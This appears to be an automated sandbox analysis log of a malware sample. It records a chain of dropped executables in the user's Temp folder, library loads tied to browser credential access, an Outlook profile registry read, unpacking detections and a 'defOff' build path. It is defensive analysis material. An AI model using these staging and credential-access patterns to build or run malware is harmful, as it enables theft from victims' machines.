Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5360 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6316 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKKFHJJDHJE.exe "C:\Users\user\DocumentsKKFHJJDHJE.exe"
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe "C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe "C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1834496 > 1048576

Source: file.exe

Static PE information: Raw size of mmgyxokd is bigger than: 0x100000 < 0x1a6200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2438078320.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2438078320.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 0b7df35e6b.exe, 0000001C.00000003.2895649410.0000000005330000.00000004.00001000.00020000.00000000.sdmp, 0b7df35e6b.exe, 0000001C.00000002.3028493359.00000000001F2000.00000040.00000001.01000000.00000010.sdmp, 0b7df35e6b.exe, 0000001E.00000002.3084275565.00000000001F2000.00000040.00000001.01000000.00000010.sdmp, 0b7df35e6b.exe, 0000001E.00000003.3044031515.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, 0b7df35e6b.exe, 0000001F.00000003.3178925492.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, 0b7df35e6b.exe, 0000001F.00000002.3219123978.00000000001F2000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.c60000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW;
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Unpacked PE file: 20.2.DocumentsKKFHJJDHJE.exe.5e0000.0.unpack :EW;.rsrc:W;.idata :W;uznwvgqp:EW;ftpwkcch:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uznwvgqp:EW;ftpwkcch:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W;uznwvgqp:EW;ftpwkcch:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uznwvgqp:EW;ftpwkcch:EW;.taggant:EW;
